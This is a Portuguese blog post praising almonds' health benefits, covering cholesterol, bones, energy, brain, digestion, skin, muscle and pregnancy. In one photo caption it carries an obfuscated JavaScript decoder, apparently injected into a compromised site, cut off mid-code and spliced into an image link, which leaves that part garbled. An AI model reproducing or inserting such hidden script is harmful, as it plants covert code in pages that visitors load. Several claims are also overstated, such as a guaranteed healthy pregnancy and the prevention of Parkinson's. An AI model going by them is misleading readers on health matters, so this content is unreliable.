benefícios das amêndoas

Out 10, 2016 | À descoberta, Dicas úteis

Quem ADORA amêndoas levante o braço! É verdade, hoje chegou o dia de lhe mostrar os benefícios das amêndoas. Para além de as comermos tradicionalmente na época da Páscoa, as amêndoas são um superalimento que deve ser consumido todo o ano! Em quantidades moderadas elas são capazes de nos ajudar a ter uma saúde de ferro. Podemos consumi-las de inúmeras formas: inteiras, raladas, como farinha, em óleo, leite ou manteiga. São super versáteis, por isso, fique a conhecer todas as vantagens de as incluir na sua dieta diária.

Benefícios das amêndoas | Foto: flfrevista

REDUZ O COLESTEROL MAU E PROMOVE O COLESTEROL BOM
As amêndoas possuem uma grande quantidade de gorduras saudáveis, comuns a todos os frutos secos oleaginosos. Assim, devemos incluí-las na nossa alimentação mas comer apenas uma pequena quantidade, de acordo com as calorias que precisamos e queremos ingerir. Além disso, os flavonóides presentes na pele das amêndoas, em conjunto com a vitamina E, reduzem o risco de doenças cardíacas.

Benefícios das amêndoas - REDUZ O COLESTEROL MAU E PROMOVE O COLESTEROL BOM | Foto: function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaand.pt/wp-content/uploads/2014/11/frutossecos.jpg">jardiland

PROMOVE A SAÚDE DOS OSSOS E DENTES
Como é muito rica em cálcio, magnésio e fósforo, a amêndoa é um fruto seco que pode mesmo prevenir doenças como a osteoporose. Outros minerais como o potássio, o cobre e o zinco, que se encontram na sua composição, são também determinantes para a saúde dos nossos ossos e dentes. Invista pois nos benefícios das amêndoas.

Benefícios das amêndoas - PROMOVE A SAÚDE DOS OSSOS E DENTES | Foto: dicassobresaude

OFERECE ENERGIA EXTRA PARA O DIA A DIA
Quem não gosta de café, precisa por vezes de encontrar outras formas de "ganhar" energia. Fique a saber que a amêndoa é também uma forte aliada neste campo. As calorias que encontramos na sua composição, são convertidas, através dos nutrientes que também contém, em energia de qualidade! Bem como o manganês, o cobre e a riboflavina são nutrientes que ajudam à síntese de energia e a melhorar o metabolismo. Só vantagens!

Benefícios das amêndoas - OFERECE ENERGIA EXTRA PARA O DIA A DIA | Foto: huddies

MELHORA O FUNCIONAMENTO DO CÉREBRO
A vitamina E das amêndoas ajuda a prevenir o declínio cognitivo e aumenta o estado de alerta; o zinco, por sua vez, protege as células do cérebro da ação nociva dos radicais livres; já a fenilalanina pode prevenir a doença de Parkinson e aumentar a produção de substâncias no cérebro como a dopamina e a adrenalina. Todas estas substâncias e nutrientes são fulcrais para a nossa atenção e memória, portanto COMECE JÁ!

Benefícios das amêndoas - MELHORA O FUNCIONAMENTO DO CÉREBRO | Foto: thumbor

REMÉDIO CONTRA A PRISÃO DE VENTRE
Sofre com um mau funcionamento intestinal? Então experimente comer um punhado de amêndoas por dia e vai ver como melhora imediatamente. O seu alto teor de fibras, faz com que os intestinos trabalhem melhor, para além de serem um poderoso antisséptico intestinal, reduzindo o risco do cancro do cólon. Para ver melhoras significativas não se esqueça, claro, do consumo abundante de água. Acredite que os seus intestinos vão ficar mais felizes!

Benefícios das amêndoas - REMÉDIO CONTRA A PRISÃO DE VENTRE | Foto: noticiasaominuto

ELIXIR PARA A PELE E CABELOS
Já ouviu, certamente, falar do óleo de amêndoas. Opte por produtos para a pele e cabelos que contenham este óleo na sua composição e verá como ficarão bem mais nutridos e saudáveis. Para além disso, ao consumir amêndoas, está a dar um extra de vitamina E ao seu organismo, que é um poderoso antioxidante e ajuda a prevenir o envelhecimento precoce das células da pele.

Benefícios das amêndoas - ELIXIR PARA A PELE E CABELOS | Foto: noticiasaominuto

AJUDAM A GANHAR MÚSCULO
São um dos alimentos de eleição para quem pratica desporto, uma vez que são altamente ricas em proteína (um quarto de uma chávena de amêndoas tem 8 gramas de proteína, ou seja, 2 gramas a mais que um ovo!), ajudam os músculos a crescer e, por sua vez, a exterminar gorduras indesejadas. E são tão deliciosas que pode misturá-las em tudo! Iogurtes, leite, fruta, ou então leve-as assim mesmo, numa caixinha, para o trabalho!

Benefícios das amêndoas - AJUDAM A GANHAR MÚSCULO | Foto: blogspot

BENEFICIAM O DESENVOLVIMENTO DO FETO DURANTE A GRAVIDEZ
O magnésio que encontramos nas amêndoas previne as contrações antes do tempo, nas mulheres grávidas. Sabia disto? Se está grávida é uma boa começar já a comer. A somar a isto, o desenvolvimento adequado de um feto necessita de folato, pois a carência deste nutriente pode originar malformações no cérebro e espinal medula da criança. A amêndoa fornece grande quantidade de ácido fólico, garantido que terá uma gestação saudável. Quer seja homem ou mulher, quer esteja grávida ou não, aproveite todos os benefícios das amêndoas!